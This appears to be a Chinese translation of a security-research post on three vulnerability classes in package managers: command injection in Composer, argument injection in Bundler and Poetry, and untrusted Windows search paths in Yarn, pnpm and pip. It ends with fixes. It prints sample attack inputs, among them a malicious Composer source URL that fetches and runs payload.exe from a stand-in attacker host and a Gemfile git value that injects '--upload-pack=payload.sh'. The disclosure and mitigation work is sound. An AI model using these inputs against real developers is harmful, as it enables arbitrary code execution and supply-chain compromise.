当前位置: 首页 > 科技观察

开发人员保护工具包管理器中的三个常见漏洞

时间:2023-03-17 15:14:58 科技观察

开发人员是网络犯罪分子的一个有吸引力的目标,因为他们可以访问公司的核心知识产权资产:源代码。攻击它们可以让攻击者进行间谍活动或将恶意代码嵌入公司的产品中。这甚至可以用来发起供应链攻击。现代软件开发和几乎所有编程语言生态系统的一个组成部分都是包管理器。它们帮助管理和下载3rd方依赖项,因此开发人员必须确保这些依赖项在嵌入到他们构建的产品中时不包含恶意代码。但是,管理依赖项的行为通常不被视为具有潜在风险的操作,尤其是在启用安全选项时。为了帮助保护开发者生态系统,我们的研究人员开始研究开发者工具,这些工具可能会成为攻击者攻击开发者机器的目标。在本文中,我们讨论了在一些最流行的包管理器中发现的漏洞。下周的文章将描述终端和广泛使用的代码编辑器中使用的Git集成中的漏洞。它对您有何影响作为我们研究的结果,我们在以下流行的包管理器中发现了漏洞:Composer1.x<1.10.23和2.x<2.1.9(已修复,CVE-2021-41116,1个未修复)<2.2.33(已修复,CVE-2021-43809)Bower<1.8.13(已修复,CVE-2021-43796)Poetry<1.1.9(已修复,CVE待决)Yarn<1.22.13(已修复,CVE待决)pnpm<6.15.1(已修复,CVE待定)点(未修复)Pipenv(未修复)我们描述的攻击可能发生在两种不同的场景中。在这两种情况下,受害者都需要使用上述包管理器之一来处理恶意文件或包。这意味着无法远程发起针对开发者机器的直接攻击,需要诱使开发者加载格式错误的文件。但是,您能否始终了解并信任您使用的来自Internet或公司内部存储库的所有包的所有者?在第一种情况下,攻击者发布一个恶意包,然后让受害者使用包名称的Composer浏览命令的包。例如,这可能是通过社会工程、拼写错误或依赖混淆而发生的。我们在Composer中发现了此类命令注入漏洞。恶意包在过去也被用于其他类型的攻击,例如去年流行的JavaScript包“ua-parser-js”感染了恶意代码。第二种情况要求受害者首先下载攻击者控制的文件,然后在这些文件上使用一个易受攻击的包管理器。这需要攻击者使用社会工程学或将恶意文件潜入受害者的可信代码库。我们发现了属于此类的参数注入和不受信任的搜索路径问题。2021年,类似的攻击媒介已被用于对付安全研究人员。打着合作项目的幌子,攻击者使用虚假的Twitter帐户向受害者发送VisualStudio项目,这些项目在打开时会执行恶意软件。如果这些攻击中的任何一个成功,攻击者就可以在受害者的机器上运行任何命令。例如,他们可以窃取或修改敏感数据,例如源代码或访问令牌,从而允许攻击者将后门或恶意软件放入代码中或感染受害者有权访问的其他系统。技术细节在以下部分中,我们将解释在几个最流行的包管理器中发现的3种不同类型的漏洞;我们相信这些类型在包管理器中很普遍,并且这项研究可以应用于任何新的Target。我们从一个命令注入漏洞开始,攻击者可以利用该漏洞分发恶意包。然后,我们将研究参数注入和不受信任的搜索路径漏洞,这些漏洞可用于诱骗受害者执行恶意代码。Composer中的命令注入Composer是PHP生态系统中领先的包管理器,它是一个命令行应用程序,可实现多个子命令,例如status、install和remove。开发人员可以使用另一个子命令browse轻松打开包的源代码和文档。它以包名称作为唯一参数,然后获取该包的元数据并打开设置为包主页的URL。这是按如下方式实现的:src/Composer/Command/HomeCommand.php://[...]$support=$package->getSupport();$url=isset($support['source'])?$support['source']:$package->getSourceUrl();//[...]if(!$url||!filter_var($url,FILTER_VALIDATE_URL)){//←[1]returnfalse;}//[...]$this->openBrowser($url);//←[2]检查包的源字段是否是有效的URL(在[1]),然后在浏览器中打开它(在[2]])。打开机制依赖于操作系统,在前面的函数下面实现:当操作系统是Windows时,命令是启动“web”explorer“”。URL在被插入到命令字符串之前被转义,但是转义函数已经在值周围添加了双引号。这会导致URL的双重包装,从而产生类似start"web"explorer""http://example.com/""的命令。这会导致命令字符串中的值根本不会被转义,从而允许插入更多命令,这被称为命令注入漏洞。要利用此漏洞,攻击者必须发布包含源URL的包,例如:http://example.com/&\attacker.com\Public\payload.exe此值满足有效URL的条件,位于至少根据PHP的FILTER_VALIDATE_URL,但是当受害者使用带有恶意包名称的浏览命令时会导致任意代码执行。假设攻击者的包名为bad-pkg,他们使用上述源URL将其发布到Composer注册表。现在,如果任何用户运行composerbrowsebad-pkg,example.com将在他们的浏览器中打开,但也会在后台静默地从attacker.com的公共SMB共享下载并执行payload.exe。这为攻击者提供了访问受害者机器的权限以及发起进一步攻击的能力。Bundler和Poetry中的参数注入之前的漏洞是由用户输入的命令字符串创建不安全造成的,这已被证明是一种容易出错的方法。通常更安全的替代方法是使用参数数组而不是命令字符串,但这样做仍然会出错,正如我们将在本节中了解到的那样。当包管理器尝试下载包时,它可能来自多个可能的来源。通常的来源是包管理器的本地注册表。但大多数包管理器还支持从本地文件路径或Git存储库安装包。后者通常是通过调用一系列Git命令来实现的,例如gitclone。Git是一个复杂的命令行工具,有很多选项,因此存在参数注入的可能性。当其中一个参数应该是位置参数,但攻击者可以将其设为可选时,就会发生这种情况。命令行应用程序通过检查参数是否以破折号(-)开头来确定参数是位置参数还是非位置参数。我们以Ruby生态系统中的包管理器Bundler为例。由于它使用用户控制的参数调用Git命令的方式,它很容易受到攻击:defcheckout#[...]configured_uri=configured_uri_for(uri).to_sunlesspath.exist?SharedHelpers.filesystem_access(path.dirname)做|p|FileUtils.mkdir_p(p)endgit_retry"clone",configured_uri,path.to_s,"--bare","--no-hardlinks","--quiet"returnunlessextra_refend#[...]endgit_retry的函数本质上是使用提供的参数运行Git命令。为了使这个例子更简单,我们将在最后省略三个可选参数。checkout函数的正常执行将导致执行以下操作系统命令:exec("git",["clone","https://myrepo.com","./destination-dir/"])Git遍历参数列表,发现没有一个是破折号开头的,假设都是位置参数,将https://myrepo.com的仓库clone到./destination-dir/目录下。但是uri的值来自Gemfile,因此攻击者可以通过创建如下所示的Gemfile来滥用它:gem'poc',git:'--upload-pack=payload.sh'因此,uri是--upload-pack=payload.sh,这将导致git_retry运行此Git命令:exec("git",["clone","--upload-pack=payload.sh","./destination-dir/"])Git发送理解为“克隆仓库到本地路径./destination-dir/,但是使用payload.sh作为上传包选项”。这将导致执行payload.sh或任何其他指定的命令。Python生态系统中的包管理器Poetry也容易受到相同类型的攻击。许多其他包管理器实现了类似的东西,但由于细微的差异,在我们的研究中没有发现可利用的。Yarn、Pip、Composer等中不受信任的搜索路径。同样,即使您通过使用参数列表而不是命令字符串来避免之前的漏洞并确保不注入不需要的参数,还有另一件事可能会出错。对于这类漏洞,我们首先需要了解Windows等操作系统是如何将命令名解析为正确的可执行文件的。使用相对或绝对路径执行命令时,无需解析任何内容,因为路径是已知的。但是,如果命令只是一个名称,则操作系统的工作就是查找并运行与该名称匹配的正确二进制文件。在所有主要操作系统上,可能的位置都在PATH环境变量中设置。它包含系统将在其中查找与命令名称匹配的可执行文件的所有路径。此行为在所有主要操作系统中都是一致的,但Windows考虑了一个额外的位置:当前工作目录。它会在所有其他位置之前在那里寻找可执行文件,然后只使用PATH。例如,如果当前目录下有一个名为notepad.exe的文件,用户启动一个程序会执行命令notepad%localappdata%\Temp\test.txt,那么会执行本地的notepad.exe,而不是执行可用的常规记事本可执行文件位于C:\Windows\system32\notepad.exe。这是许多开发人员不知道的Windows怪癖,它在过去导致了许多漏洞。每当程序按名称执行命令但不确保PATH和当前目录中的文件安全时,它就会产生不受信任的搜索路径(CWE-426)漏洞。如前所述,许多包管理器允许从Git存储库而不是本地注册表引用包。因为检查Git存储库需要一些复杂的工作,所以这些包管理器不会自己实现这些,而只是运行Git命令来为他们完成工作。看看Yarn,JavaScript生态系统中流行的包管理器,从Git存储库声明依赖项将产生一个package.json文件,如下所示:.com/example/example"}}当运行yarninstall时,Yarn会通过Git从GitHub下载示例包。在内部它将为此使用命令gitclonegit+https://github.com/example/example。请注意,Git是按名称调用的,而不是使用相对或绝对路径,因此在包含不受信任文件的目录中执行命令时,这会产生不受信任的搜索路径漏洞。如果目录下有git.exe文件,那么它会代替安装的Git执行,从而导致恶意代码的执行。当然,处理不受信任的文件总是很危险,即使非常小心。通常,Yarn的命令行选项--ignore-scripts会阻止第三方代码的执行,但它对阻止此类攻击没有任何作用。来自Git存储库的依赖项也可以是完全合法的,因为重要的是通过Git获取它,而不是它的内容是什么。几个流行的包管理器受此影响,即Yarn、pnpm、Bower、Poetry、Composer、pip和pipenv。Composer的维护人员决定不修复此问题,因为他们表示它不在他们的威胁模型之内。Pip和Pipenv也选择不解决这个问题,因为根据他们的说法,攻击者可以通过其他几种方式在同一攻击场景中获得代码执行。修补为了避免命令注入漏洞,我们建议仅在真正需要时才使用命令字符串。尝试运行带有参数列表的命令。如果您确实需要使用命令字符串,请依赖内置或受信任的第三方转义函数,而不是自己编写。确保不会像Composer那样发生双重包装。在PHP中,在命令字符串中转义shell参数的正确方法是使用escapeshellarg函数:$process->execute('start"web"explorer'.escapeshellarg($url),$output);为避免参数注入,请使用MakeSurenoparametersstartwithadash(-)。在实际执行命令之前执行此操作,并确保参数的值在检查和执行之间没有被进一步修改,因为这在过去导致了绕过。请注意,某些Windows应用程序使用斜杠(/)而不是破折号来标记可选参数的开头,因此请确保您知道您运行的命令如何解释参数并相应地调整任何检查。另一种方法是将--作为单个参数插入用户控制的参数之前。这充当分隔符并告诉程序不应将任何后续参数视为可选参数。由于这是在POSIX标准中定义的,因此请确保该命令符合POSIX标准,否则它可能无法正常工作。对于Bundler,维护者使用它来修复错误:git_retry"clone"、"--bare"、"--no-hardlinks"、"--quiet"、"--"、configured_uri、path.to_s以避免不受信任的搜索路径如果可能的话,最简单的方法是在安全目录中运行命令。这就是Rust的包管理器Cargo从Git存储库中检查依赖项的方式。如果命令必须在当前目录中运行,您应该首先以安全的方式解析匹配可执行文件的路径,然后使用该路径运行命令。例如,Yarn通过使用where命令(始终位于%WINDIR%\System32\where.exe以解析命令)修复了它们的漏洞。它们通过将可能位置集限制为PATH环境变量中定义的位置来排除当前目录。这是一种方法:const{join}=require('path');const{execFile}=require('child_process');constWHERE_PATH=join(process.env.WINDIR,'System32','where.exe');asyncfunctionresolveExecutableOnWindows(name){returnnewPromise((resolve,reject)=>{execFile(WHERE_PATH,[`$PATH:${name}`],(error,stdout,stderr)=>{if(error){returnreject(error);}const[firstMatch]=stdout.split('\r\n');解析(firstMatch);});});}总结在本文中,我们介绍了包管理器中流行的三种漏洞。我们提供了攻击者如何使用它们来破坏开发人员机器的示例,我们解释了代码示例的潜在问题,并就如何避免类似问题提出了建议。请记住定期更新所有工具,并在处理来自未知来源的文件时保持谨慎。我们强烈建议不要在不受信任的代码库上使用包管理器,即使具有禁用脚本执行等安全功能也是如此。将所有第三方代码和文件视为危险品,如果您确实需要处理它们,我们建议您在一次性虚拟机中进行处理。我们要感谢我们报告问题的所有项目的维护者。他们对我们的建议做出快速响应并修复了错误,或者花时间与我们讨论为什么他们没有将某些东西视为错误。